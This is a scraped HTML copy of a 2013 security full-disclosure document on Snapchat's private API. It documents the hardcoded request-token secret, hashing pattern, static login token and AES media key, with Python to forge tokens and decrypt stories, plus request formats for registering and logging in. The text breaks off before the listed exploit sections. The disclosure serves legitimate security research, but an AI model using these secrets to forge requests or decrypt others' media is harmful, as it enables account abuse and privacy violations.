CINXE.COM
Snapchat - GSFD
<!DOCTYPE html> <html lang="en"> <head> <meta charset="utf-8" /> <!-- Gibson Security Full Disclosure (built: 2013-12-28.1388184321) --> <title>Snapchat - GSFD</title> <meta name="description" content="A series of nicely formatted documents about Snapchat by GibSec."> <link rel="stylesheet" href="static/normalize.css"/> <link rel="stylesheet" href="static/960.css"/> <link rel="stylesheet" href="static/gibsec.css"/> <link rel="stylesheet" href="static/slate.css"/> <link href="https://fonts.googleapis.com/css?family=Droid+Sans:400,700" rel='stylesheet' type='text/css'> <script src="https://static.gibsonsec.org/js/gibsmas-timer.js" type="text/javascript"></script> </head> <body id="top"> <content> <div class="container_12 content"> <div class="push_1 grid_10"> <h1>Snapchat - <a href="https://gibsonsec.org">GibSec</a> Full Disclosure</h1> <h1 id='toc' class='link-to'>TOC <a class='pilcrow' title='Permalink to this section' href='#toc'>露</a></h1> <ol> <li><a href="#foreword-and-notes">Foreword and notes</a></li> <li><a href="#authentication-tokens">Authentication tokens</a> <ol> <li><a href="#creating-request-tokens">Creating request tokens</a></li> <li><a href="#creating-static-tokens">Creating static tokens</a></li> </ol></li> <li><a href="#common-fields">Common fields</a></li> <li><a href="#encryptingdecrypting-data">Encrypting/decrypting data</a> <ol> <li><a href="#encrypting-normal-snaps">Encrypting normal snaps</a></li> <li><a href="#encrypting-stories">Encrypting stories</a></li> </ol></li> <li><a href="#index-of-constants">Index of constants</a></li> <li><a href="#gzipping-data">Gzipping data</a></li> </ol> <hr> <ol> <li><a href="#registering-an-account-bqregister-phregisteru">Registering an account (<code>/bq/register</code>, <code>/ph/registeru</code>)</a> <ol> <li><a href="#actually-registering-bqregister">Actually registering (<code>/bq/register</code>)</a></li> <li><a href="#attaching-a-username-phregisteru">Attaching a username (<code>/ph/registeru</code>)</a></li> </ol></li> <li><a href="#logging-in-bqlogin">Logging in (<code>/bq/login</code>)</a></li> <li><a href="#logging-out-phlogout">Logging out (<code>/ph/logout</code>)</a></li> <li><a href="#fetching-snap-data-phblob">Fetching snap data (<code>/ph/blob</code>)</a></li> <li><a href="#uploading-and-sending-snaps-phupload-phsend">Uploading and sending snaps (<code>/ph/upload</code>, <code>/ph/send</code>)</a> <ol> <li><a href="#uploading-your-media-phupload">Uploading your media (<code>/ph/upload</code>)</a></li> <li><a href="#sending-it-off-phsend">Sending it off (<code>/ph/send</code>)</a></li> <li><a href="#resending-a-failed-snap-phretry">Resending a failed snap (<code>/ph/retry</code>)</a></li> </ol></li> <li><a href="#posting-to-a-story-bqpost_story">Posting to a story (<code>/bq/post_story</code>)</a></li> <li><a href="#deleting-story-segments-bqdelete_story">Deleting story segments (<code>/bq/delete_story</code>)</a></li> <li><a href="#appending-segments-to-a-story-directly-bqretry_post_story">Appending segments to a story directly (<code>/bq/retry_post_story</code>)</a></li> <li><a href="#posting-to-a-story-and-sending-a-snap-bqdouble_post">Posting to a story and sending a snap (<code>/bq/double_post</code>)</a></li> <li><a href="#finding-your-friends-phfind_friends">Finding your friends (<code>/ph/find_friends</code>)</a></li> <li><a href="#making---or-losing---friends-phfriend">Making - or losing - friends (<code>/ph/friend</code>)</a></li> <li><a href="#getting-your-friends-best-friends-bqbests">Getting your friends' best friends (<code>/bq/bests</code>)</a></li> <li><a href="#getting-your-friends-stories-bqstories">Getting your friends stories (<code>/bq/stories</code>)</a></li> <li><a href="#getting-updates-bqupdates">Getting updates (<code>/bq/updates</code>)</a></li> <li><a href="#sending-updates-bqupdate_snaps">Sending updates (<code>/bq/update_snaps</code>)</a></li> <li><a href="#sending-more-updates-bqupdate_stories">Sending more updates (<code>/bq/update_stories</code>)</a></li> <li><a href="#clearing-your-feed-phclear">Clearing your feed (<code>/ph/clear</code>)</a></li> <li><a href="#updating-your-account-settings-phsettings">Updating your account settings (<code>/ph/settings</code>)</a> <ol> <li><a href="#updating-your-attached-email">Updating your attached email</a></li> <li><a href="#updating-your-account-privacy">Updating your account privacy</a></li> <li><a href="#updating-your-story-privacy">Updating your story privacy</a></li> <li><a href="#updating-your-maturity-settings">Updating your maturity settings</a></li> </ol></li> <li><a href="#updating-feature-settings-bqupdate_feature_settings">Updating feature settings (<code>/bq/update_feature_settings</code>)</a></li> <li><a href="#choosing-your-number-of-best-friends-bqset_num_best_friends">Choosing your number of best friends (<code>/bq/set_num_best_friends</code>)</a></li> <li><a href="#obligatory-exploit-pocs">Obligatory exploit POCs</a> <ol> <li><a href="#the-find_friends-exploit">The find_friends exploit</a></li> <li><a href="#bulk-registration-of-accounts">Bulk registration of accounts</a></li> </ol></li> </ol> <hr> <h1 id='foreword-and-notes' class='link-to'>Foreword and notes <a class='pilcrow' title='Permalink to this section' href='#foreword-and-notes'>露</a></h1> <p>Given that it's been around <em>four months</em> since our <a href="https://gibsonsec.org/snapchat/">last Snapchat release</a>, we figured we'd do a refresher on the latest version, and see which of the released exploits had been fixed (full disclosure: <em>none of them</em>). Seeing that nothing had been <em>really</em> been improved upon (although, stories are using AES/CBC rather than AES/ECB, which is a start), we decided that it was in everyone's best interests for us to post a full disclosure of everything we've found in our past months of hacking the gibson.</p> <p>In the time since our previous release, there have been <a href="https://github.com/dstelljes/php-snapchat">numerous</a> <a href="https://github.com/niothiel/snapchat-python">public</a> <a href="https://github.com/kirbyk/ruby-snapchat">Snapchat</a> <a href="https://github.com/NealKemp/snapcat">api</a> <a href="https://github.com/neuegram/Sna.py">clients</a> created on GitHub. Thankfully, Snapchat are too busy declining ridiculously high offers from Facebook and Google, and lying to investors (hint: they have no way to tell <a href="http://mashable.com/2013/11/20/snapchat-users-women/">the genders of their users</a>, see <a href="#actually-registering-bqregister"><code>/bq/register</code></a> for a lack of gender specification) to send <a href="https://news.ycombinator.com/item?id=6083812">unlawful code takedown requests</a> to all the developers involved.</p> <p>As always, we're contactable via <a href="https://twitter.com/gibsonsec">@gibsonsec</a> and <a href="/cdn-cgi/l/email-protection#5a293f392f28332e231a3d3338293534293f397435283d"><span class="__cf_email__" data-cfemail="5e2d3b3d2b2c372a271e39373c2d31302d3b3d70312c39">[email protected]</span></a>. Merry Gibsmas!</p> <h2 id='technical-mumbo-jumbo' class='link-to'>Technical mumbo-jumbo <a class='pilcrow' title='Permalink to this section' href='#technical-mumbo-jumbo'>露</a></h2> <p>This documentation is based on the current build (<code>4.1.01</code> at the time of writing <em>23-12-2013</em>) of Snapchat for Android. The Android app uses a mixture of <code>/ph</code> and <code>/bq</code> endpoints - the iOS app is pure <code>/bq</code>, but we haven't documented them all, sorry!</p> <p>You can use <code>api.snapchat.com</code>, <code>feelinsonice.appspot.com</code> or <code>feelinsonice-hrd.appspot.com</code> as hosts for the API endpoints - they're all the same address at the end of the day.</p> <p>The documentation may be broken, incomplete, outdated or just plain <em>wrong</em>. We try our best to keep things valid as much as possible, but we're only human after all.</p> <p><strong>NB!</strong> As of the current time of writing, there are two unknown reply fields scattered around the API responses. These are marked with an <code>N/A</code> - explanations welcome to <a href="/cdn-cgi/l/email-protection#d9aabcbaacabb0ada099beb0bbaab6b7aabcbaf7b6abbe"><span class="__cf_email__" data-cfemail="2655434553544f525f66414f4455494855434508495441">[email protected]</span></a>. Fields with an asterisk after them (e.g: <code>zipped</code>*) means it's an optional field.</p> <h1 id='authentication-tokens' class='link-to'>Authentication tokens <a class='pilcrow' title='Permalink to this section' href='#authentication-tokens'>露</a></h1> <p>Authentication with Snapchat's API is done via a token sent in each request under the name <code>req_token</code>.</p> <p>In general, it is a combination of <em>two hashes</em> (each salted with the <em>secret</em>), as defined by a specific <em>pattern</em>. You'll be using your normal <code>auth_token</code> for most requests - a few require a static token, which we'll get to in a bit.</p> <p>Here is some example Python that implements the <em>secret req_token hash</em>:</p> <div class="highlight"><pre><span class="k">def</span> <span class="nf">request_token</span><span class="p">(</span><span class="n">auth_token</span><span class="p">,</span> <span class="n">timestamp</span><span class="p">):</span> <span class="n">secret</span> <span class="o">=</span> <span class="s">"iEk21fuwZApXlz93750dmW22pw389dPwOk"</span> <span class="n">pattern</span> <span class="o">=</span> <span class="s">"0001110111101110001111010101111011010001001110011000110001000110"</span> <span class="n">first</span> <span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">(</span><span class="n">secret</span> <span class="o">+</span> <span class="n">auth_token</span><span class="p">)</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span> <span class="n">second</span> <span class="o">=</span> <span class="n">hashlib</span><span class="o">.</span><span class="n">sha256</span><span class="p">(</span><span class="nb">str</span><span class="p">(</span><span class="n">timestamp</span><span class="p">)</span> <span class="o">+</span> <span class="n">secret</span><span class="p">)</span><span class="o">.</span><span class="n">hexdigest</span><span class="p">()</span> <span class="n">bits</span> <span class="o">=</span> <span class="p">[</span><span class="n">first</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="k">if</span> <span class="n">c</span> <span class="o">==</span> <span class="s">"0"</span> <span class="k">else</span> <span class="n">second</span><span class="p">[</span><span class="n">i</span><span class="p">]</span> <span class="k">for</span> <span class="n">i</span><span class="p">,</span> <span class="n">c</span> <span class="ow">in</span> <span class="nb">enumerate</span><span class="p">(</span><span class="n">pattern</span><span class="p">)]</span> <span class="k">return</span> <span class="s">""</span><span class="o">.</span><span class="n">join</span><span class="p">(</span><span class="n">bits</span><span class="p">)</span> <span class="c"># Here's a benchmark to make sure your implementation works:</span> <span class="c"># >>> request_token("m198sOkJEn37DjqZ32lpRu76xmw288xSQ9", 1373209025)</span> <span class="c"># '9301c956749167186ee713e4f3a3d90446e84d8d19a4ca8ea9b4b314d1c51b7b'</span> </pre></div> <ul> <li>Things to note:</li> <li>The <strong>secret</strong> is <code>iEk21fuwZApXlz93750dmW22pw389dPwOk</code></li> <li>You need <em>two</em> <strong>sha256</strong> hashes. <ol> <li><code>secret + auth_token</code></li> <li><code>timestamp + secret</code></li> </ol></li> <li>The <strong>pattern</strong> is <code>0001110111101110001111010101111011010001001110011000110001000110</code> <ul> <li><code>0</code> means take a character from <em>hash 1</em> at the point.</li> <li><code>1</code> means take a character from <em>hash 2</em> at the point.</li> </ul></li> </ul> <h2 id='creating-request-tokens' class='link-to'>Creating request tokens <a class='pilcrow' title='Permalink to this section' href='#creating-request-tokens'>露</a></h2> <p>To create a request token (which you will need for 90% of requests), you need to:</p> <ul> <li>Take the <code>auth_token</code> you got from <a href="#logging-in-bqlogin">logging in</a></li> <li>Take the current <code>timestamp</code> (epoch/unix timestamp) which you'll need for the req_token and inclusion in the request.</li> <li>Run <code>request_token(auth_token, timestamp)</code></li> <li>Include it in your request!</li> </ul> <h2 id='creating-static-tokens' class='link-to'>Creating static tokens <a class='pilcrow' title='Permalink to this section' href='#creating-static-tokens'>露</a></h2> <p>If you're logging in, you won't have an auth_token yet. Not to fear!</p> <ul> <li>Take the <em>static token</em>, <code>m198sOkJEn37DjqZ32lpRu76xmw288xSQ9</code></li> <li>Take the current <code>timestamp</code></li> <li>Run <code>request_token(static_token, timestamp)</code></li> <li>Include it in your request!</li> </ul> <h1 id='common-fields' class='link-to'>Common fields <a class='pilcrow' title='Permalink to this section' href='#common-fields'>露</a></h1> <p>There are a few fields that are common to most requests and responses:</p> <p><strong>Requests:</strong></p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>The username of the logged in account.</td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-request-tokens">Creating request tokens</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>The unix timestamp of the request - can be arbitrary.</td> </tr> </tbody></table> <p><strong>Responses:</strong></p> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>logged</code></td> <td>bool</td> <td>This is usually indicative of whether or not your response was successful.</td> </tr> </tbody></table> <h1 id='encryptingdecrypting-data' class='link-to'>Encrypting/decrypting data <a class='pilcrow' title='Permalink to this section' href='#encryptingdecrypting-data'>露</a></h1> <h2 id='encrypting-normal-snaps' class='link-to'>Encrypting normal snaps <a class='pilcrow' title='Permalink to this section' href='#encrypting-normal-snaps'>露</a></h2> <ul> <li>All standard media (read: picture and video) data sent to Snapchat is:</li> <li>Padded using <a href="http://tools.ietf.org/html/rfc2898">PKCS#5</a>.</li> <li>Encrypted using <strong>AES/ECB</strong> with a single synchronous key: <code>M02cnQ51Ji97vwT4</code></li> </ul> <h2 id='encrypting-stories' class='link-to'>Encrypting stories <a class='pilcrow' title='Permalink to this section' href='#encrypting-stories'>露</a></h2> <ul> <li>Stories are:</li> <li>Padded using PKCS#7.</li> <li>Encrypted using <strong>AES/CBC</strong> with a unique IV and key per piece of the story (i.e, there isn't a single key/IV you can use). <ul> <li>You can find a <code>media_key</code> and <code>media_iv</code> deep within the return values of a request to <code>/bq/stories</code>.</li> </ul></li> <li>The server does the AES/CBC encryption - segments are sent to the server using the normal AES/ECB (<code>M02c..</code>) encryption. <ul> <li><code>StoryEncryptionAlgorithm#encrypt</code> just calls <code>SnapEncryptionAlgorithm#encrypt</code>.</li> </ul></li> </ul> <p>Here's a rough idea of how to decrypt them:</p> <div class="highlight"><pre><span class="c"># To find `media_key` and `media_iv`, see: /bq/stories documentation</span> <span class="kn">import</span> <span class="nn">requests</span> <span class="kn">import</span> <span class="nn">base64</span> <span class="kn">import</span> <span class="nn">mcrypt</span> <span class="n">res</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">post</span><span class="p">(</span><span class="o">...</span><span class="p">)</span> <span class="c"># POST /bq/stories and ensure res is a dict.</span> <span class="n">data</span> <span class="o">=</span> <span class="n">requests</span><span class="o">.</span><span class="n">get</span><span class="p">(</span><span class="o">...</span><span class="p">)</span> <span class="c"># GET /bq/story_blob?story_id=XXXXX from result</span> <span class="n">key</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">res</span><span class="p">[</span><span class="o">...</span><span class="p">][</span><span class="s">"media_key"</span><span class="p">])</span> <span class="n">iv</span> <span class="o">=</span> <span class="n">base64</span><span class="o">.</span><span class="n">b64decode</span><span class="p">(</span><span class="n">res</span><span class="p">[</span><span class="o">...</span><span class="p">][</span><span class="s">"media_iv"</span><span class="p">])</span> <span class="n">m</span> <span class="o">=</span> <span class="n">mcrypt</span><span class="o">.</span><span class="n">MCRYPT</span><span class="p">(</span><span class="s">"rijndael-128"</span><span class="p">,</span> <span class="s">"cbc"</span><span class="p">)</span> <span class="n">m</span><span class="o">.</span><span class="n">init</span><span class="p">(</span><span class="n">key</span><span class="p">,</span> <span class="n">iv</span><span class="p">)</span> <span class="n">dedata</span> <span class="o">=</span> <span class="n">m</span><span class="o">.</span><span class="n">decrypt</span><span class="p">(</span><span class="n">data</span><span class="p">)</span> <span class="c"># Boom.</span> </pre></div> <h1 id='index-of-constants' class='link-to'>Index of constants <a class='pilcrow' title='Permalink to this section' href='#index-of-constants'>露</a></h1> <p>These are just some constants you'll undoubtedly come across working with Snapchat.</p> <pre><code>- static_token `m198sOkJEn37DjqZ32lpRu76xmw288xSQ9` Used to create a req_token to log in to an account. - ENCRYPT_KEY_2 `M02cnQ51Ji97vwT4` Used to encrypt/decrypt standard snap data (using AES/ECB) - req_token pattern `0001110111101110001111010101111011010001001110011000110001000110` Used to create a valid req_token. `0` means $hash1, `1` means $hash2. Where: $hash1 = sha256(secret + auth_token) and $hash2 = sha256(timestamp + secret) - req_token secret `iEk21fuwZApXlz93750dmW22pw389dPwOk` Used to salt the hashes used in generating req_tokens. - various media types: IMAGE = 0 VIDEO = 1 VIDEO_NOAUDIO = 2 FRIEND_REQUEST = 3 FRIEND_REQUEST_IMAGE = 4 FRIEND_REQUEST_VIDEO = 5 FRIEND_REQUEST_VIDEO_NOAUDIO = 6 - various media states: NONE = -1 SENT = 0 DELIVERED = 1 VIEWED = 2 SCREENSHOT = 3 - Snapchat's User-agent: `Snapchat/<snapchat-build> (<phone-model>; Android <build-version>; gzip)` e.g.: `Snapchat/4.1.01 (Nexus 4; Android 18; gzip)` This isn't constant per se, but you should send it in your requests anyway. Get the Android build version from here: http://developer.android.com/reference/android/os/Build.VERSION_CODES.html (18 is Jelly Bean 4.3, for example) NB! Snapchat will fake the `<snapchat-build>` as `3.0.2` if it can't figure out its own build. So you can use that if you'd like.</code></pre> <h1 id='gzipping-data' class='link-to'>Gzipping data <a class='pilcrow' title='Permalink to this section' href='#gzipping-data'>露</a></h1> <p><em>NB!</em> We're sort of hazy on the details and specifics of when you can and can't send gzipped data. Some endpoints <em>appear</em> to support it, others don't. We tried various combinations of encryption, gzipping and other combinations thereof, but got inconsistent results. Your mileage may vary.</p> <p>Specific fields (mainly snap upload related, as expected) are sent gzipped (if it's supported). This means, where you see a <code>data</code> field, you can <em>sometimes</em> (it's inconsistent) gzip the data, send it as <code>data</code> and set <code>zipped: 1</code> (note: it's still encrypted prior to gzipping).</p> <p>How you gzip data will vary in your language, but in Python, it's as easy as:</p> <div class="highlight"><pre><span class="kn">from</span> <span class="nn">StringIO</span> <span class="kn">import</span> <span class="n">StringIO</span> <span class="kn">import</span> <span class="nn">gzip</span> <span class="n">zipped</span> <span class="o">=</span> <span class="n">StringIO</span><span class="p">()</span> <span class="n">gz</span> <span class="o">=</span> <span class="n">gzip</span><span class="o">.</span><span class="n">GzipFile</span><span class="p">(</span><span class="n">fileobj</span><span class="o">=</span><span class="n">zipped</span><span class="p">,</span> <span class="n">mode</span><span class="o">=</span><span class="s">"w"</span><span class="p">)</span> <span class="n">gz</span><span class="o">.</span><span class="n">write</span><span class="p">(</span><span class="n">encrypted_snap_data</span><span class="p">)</span> <span class="n">gz</span><span class="o">.</span><span class="n">close</span><span class="p">()</span> <span class="c"># Send this as `data`, with `zipped: 1`:</span> <span class="n">gzdata</span> <span class="o">=</span> <span class="n">zipped</span><span class="o">.</span><span class="n">getvalue</span><span class="p">()</span> </pre></div> <hr> <h1 id='registering-an-account-bqregister-phregisteru' class='link-to'>Registering an account (<code>/bq/register</code>, <code>/ph/registeru</code>) <a class='pilcrow' title='Permalink to this section' href='#registering-an-account-bqregister-phregisteru'>露</a></h1> <h2 id='actually-registering-bqregister' class='link-to'>Actually registering (<code>/bq/register</code>) <a class='pilcrow' title='Permalink to this section' href='#actually-registering-bqregister'>露</a></h2> <div class="highlight"><pre><span class="p">{</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">static_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">email</span><span class="o">:</span> <span class="s2">"<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="d7aeb8a297b2afb6baa7bbb2f9b4b8ba">[email protected]</a>"</span><span class="p">,</span> <span class="nx">password</span><span class="o">:</span> <span class="s2">"password"</span><span class="p">,</span> <span class="nx">age</span><span class="o">:</span> <span class="mi">19</span><span class="p">,</span> <span class="nx">birthday</span><span class="o">:</span> <span class="s2">"1994-11-15"</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-static-tokens">Creating static tokens</a></td> </tr> <tr> <td><code>email</code></td> <td>str</td> <td>Your email.</td> </tr> <tr> <td><code>password</code></td> <td>str</td> <td>Your password.</td> </tr> <tr> <td><code>age</code></td> <td>int</td> <td>How old you are (as an <em>integer</em>).</td> </tr> <tr> <td><code>birthday</code></td> <td>str</td> <td>Your date-of-birth in the format <code>YYYY-MM-DD</code>.</td> </tr> </tbody></table> <p>If your request is <strong>successful</strong>, you'll see something like this:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">token</span><span class="o">:</span> <span class="s2">"10634960-5c09-4037-8921-4c447a8c6aa9"</span><span class="p">,</span> <span class="nx">email</span><span class="o">:</span> <span class="s2">"<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="b5ccdac0f5d0cdd4d8c5d9d09bd6dad8">[email protected]</a>"</span><span class="p">,</span> <span class="nx">snapchat_phone_number</span><span class="o">:</span> <span class="s2">"+15557350485"</span><span class="p">,</span> <span class="nx">logged</span><span class="o">:</span> <span class="kc">true</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>token</code></td> <td>str</td> <td>An <a href="#authentication-tokens">authentication token</a> you can use without having to log in again.</td> </tr> <tr> <td><code>email</code></td> <td>str</td> <td>Your email.</td> </tr> <tr> <td><code>snapchat_phone_number</code></td> <td>str</td> <td>A number you can send a text to, to verify your phone number <em>(OPTIONAL)</em></td> </tr> <tr> <td><code>logged</code></td> <td>bool</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> </tbody></table> <p><em>NB!</em> Even though your request failed (as indicated by <code>logged</code>), you'll still get a <code>200 OK</code> reply.<br> If your request <strong>failed</strong>, you'll see something like this:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">message</span><span class="o">:</span> <span class="s2">"<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="344d5b4174514c55594458511a575b59">[email protected]</a> is already taken! Login with that email address or try another one"</span><span class="p">,</span> <span class="nx">logged</span><span class="o">:</span> <span class="kc">false</span> <span class="p">}</span> </pre></div> <h2 id='attaching-a-username-phregisteru' class='link-to'>Attaching a username (<code>/ph/registeru</code>) <a class='pilcrow' title='Permalink to this section' href='#attaching-a-username-phregisteru'>露</a></h2> <div class="highlight"><pre><span class="p">{</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">static_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">email</span><span class="o">:</span> <span class="s2">"<a href="/cdn-cgi/l/email-protection" class="__cf_email__" data-cfemail="4c3523390c29342d213c2029622f2321">[email protected]</a>"</span><span class="p">,</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: <a href="#creating-static-tokens">Creating static tokens</a></td> </tr> <tr> <td><code>email</code></td> <td>str</td> <td>The email attached to your account.</td> </tr> <tr> <td><code>username</code></td> <td>str</td> <td>The username you're requesting.</td> </tr> </tbody></table> <p>If your request <strong>succeeded</strong>, you'll see something similar to <a href="#logging-in-bqlogin">logging in (<code>/bq/login</code>)</a>.<br> If your request <strong>failed</strong>, you'll see something like:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">message</span><span class="o">:</span> <span class="s2">"Invalid username. Letters and numbers with an optional hyphen, underscore, or period in between please!"</span><span class="p">,</span> <span class="nx">logged</span><span class="o">:</span> <span class="kc">false</span> <span class="p">}</span> </pre></div> <h1 id='logging-in-bqlogin' class='link-to'>Logging in (<code>/bq/login</code>) <a class='pilcrow' title='Permalink to this section' href='#logging-in-bqlogin'>露</a></h1> <div class="highlight"><pre><span class="p">{</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">timestamp</span><span class="o">:</span> <span class="mi">1373207221</span><span class="p">,</span> <span class="nx">req_token</span><span class="o">:</span> <span class="nx">create_token</span><span class="p">(</span><span class="nx">static_token</span><span class="p">,</span> <span class="mi">1373207221</span><span class="p">),</span> <span class="nx">password</span><span class="o">:</span> <span class="s2">"yourpassword"</span> <span class="p">}</span> </pre></div> <table><thead> <tr> <th>Field name</th> <th>Type</th> <th>Explanation</th> </tr> </thead><tbody> <tr> <td><code>username</code></td> <td>str</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>timestamp</code></td> <td>int</td> <td>See: <a href="#common-fields">Common fields</a></td> </tr> <tr> <td><code>req_token</code></td> <td>str</td> <td>See: See: <a href="#creating-static-tokens">Creating static tokens</a></td> </tr> <tr> <td><code>password</code></td> <td>str</td> <td>Your account's password.</td> </tr> </tbody></table> <p>If your reply was <strong>successful</strong>, you'll get back something like this:</p> <div class="highlight"><pre><span class="p">{</span> <span class="nx">bests</span><span class="o">:</span> <span class="p">[</span><span class="s2">"someguy"</span><span class="p">],</span> <span class="nx">score</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">number_of_best_friends</span><span class="o">:</span> <span class="mi">1</span><span class="p">,</span> <span class="nx">received</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">logged</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nx">added_friends</span><span class="o">:</span> <span class="p">[</span> <span class="p">{</span><span class="nx">ts</span><span class="o">:</span> <span class="mi">1384417608610</span><span class="p">,</span> <span class="nx">name</span><span class="o">:</span> <span class="s2">"somedude"</span><span class="p">,</span> <span class="nx">display</span><span class="o">:</span> <span class="s2">""</span><span class="p">,</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">0</span><span class="p">},</span> <span class="p">{</span><span class="nx">ts</span><span class="o">:</span> <span class="mi">1385130955168</span><span class="p">,</span> <span class="nx">name</span><span class="o">:</span> <span class="s2">"random"</span><span class="p">,</span> <span class="nx">display</span><span class="o">:</span> <span class="s2">""</span><span class="p">,</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">1</span><span class="p">}</span> <span class="p">],</span> <span class="nx">beta_expiration</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">beta_number</span><span class="o">:</span> <span class="o">-</span><span class="mi">1</span><span class="p">,</span> <span class="nx">requests</span><span class="o">:</span> <span class="p">[{</span><span class="nx">display</span><span class="o">:</span> <span class="s2">""</span><span class="p">,</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">1</span><span class="p">,</span> <span class="nx">ts</span><span class="o">:</span> <span class="mi">1377613760506</span><span class="p">,</span> <span class="nx">name</span><span class="o">:</span> <span class="s2">"randomstranger"</span><span class="p">}],</span> <span class="nx">sent</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">story_privacy</span><span class="o">:</span> <span class="s2">"FRIENDS"</span><span class="p">,</span> <span class="nx">username</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">snaps</span><span class="o">:</span> <span class="p">[</span> <span class="p">{</span><span class="nx">id</span><span class="o">:</span> <span class="s2">"894720385130955367r"</span><span class="p">,</span> <span class="nx">sn</span><span class="o">:</span> <span class="s2">"someguy"</span><span class="p">,</span> <span class="nx">ts</span><span class="o">:</span> <span class="mi">1385130955367</span><span class="p">,</span> <span class="nx">sts</span><span class="o">:</span> <span class="mi">1385130955367</span><span class="p">,</span> <span class="nx">m</span><span class="o">:</span> <span class="mi">3</span><span class="p">,</span> <span class="nx">st</span><span class="o">:</span> <span class="mi">1</span><span class="p">},</span> <span class="p">{</span><span class="nx">id</span><span class="o">:</span> <span class="s2">"116748384417608719r"</span><span class="p">,</span> <span class="nx">sn</span><span class="o">:</span> <span class="s2">"randomdude"</span><span class="p">,</span> <span class="nx">ts</span><span class="o">:</span> <span class="mi">1384417608719</span><span class="p">,</span> <span class="nx">sts</span><span class="o">:</span> <span class="mi">1384417608719</span><span class="p">,</span> <span class="nx">m</span><span class="o">:</span> <span class="mi">3</span><span class="p">,</span> <span class="nx">st</span><span class="o">:</span> <span class="mi">1</span><span class="p">},</span> <span class="p">{</span><span class="nx">id</span><span class="o">:</span> <span class="s2">"325924384416555224r"</span><span class="p">,</span> <span class="nx">sn</span><span class="o">:</span> <span class="s2">"teamsnapchat"</span><span class="p">,</span> <span class="nx">t</span><span class="o">:</span> <span class="mi">10</span><span class="p">,</span> <span class="nx">ts</span><span class="o">:</span> <span class="mi">1384416555224</span><span class="p">,</span> <span class="nx">sts</span><span class="o">:</span> <span class="mi">1384416555224</span><span class="p">,</span> <span class="nx">m</span><span class="o">:</span> <span class="mi">0</span><span class="p">,</span> <span class="nx">st</span><span class="o">:</span> <span class="mi">1</span><span class="p">}</span> <span class="p">],</span> <span class="nx">friends</span><span class="o">:</span> <span class="p">[</span> <span class="p">{</span><span class="nx">can_see_custom_stories</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nx">name</span><span class="o">:</span> <span class="s2">"teamsnapchat"</span><span class="p">,</span> <span class="nx">display</span><span class="s2">": Team Snapchat"</span><span class="p">,</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">0</span><span class="p">},</span> <span class="p">{</span><span class="nx">can_see_custom_stories</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nx">name</span><span class="o">:</span> <span class="s2">"someguy"</span><span class="p">,</span> <span class="nx">display</span><span class="o">:</span> <span class="s2">"Some Guy"</span><span class="p">,</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">0</span><span class="p">},</span> <span class="p">{</span><span class="nx">can_see_custom_stories</span><span class="o">:</span> <span class="kc">true</span><span class="p">,</span> <span class="nx">name</span><span class="o">:</span> <span class="s2">"youraccount"</span><span class="p">,</span> <span class="nx">display</span><span class="o">:</span> <span class="s2">""</span><span class="p">,</span> <span class="nx">type</span><span class="o">:</span> <span class="mi">1</span><span class="p">}</span> <span class="p">],</span> <span class="nx">device_token</span><span class="o">:</span> <span class="s2">""</span><span 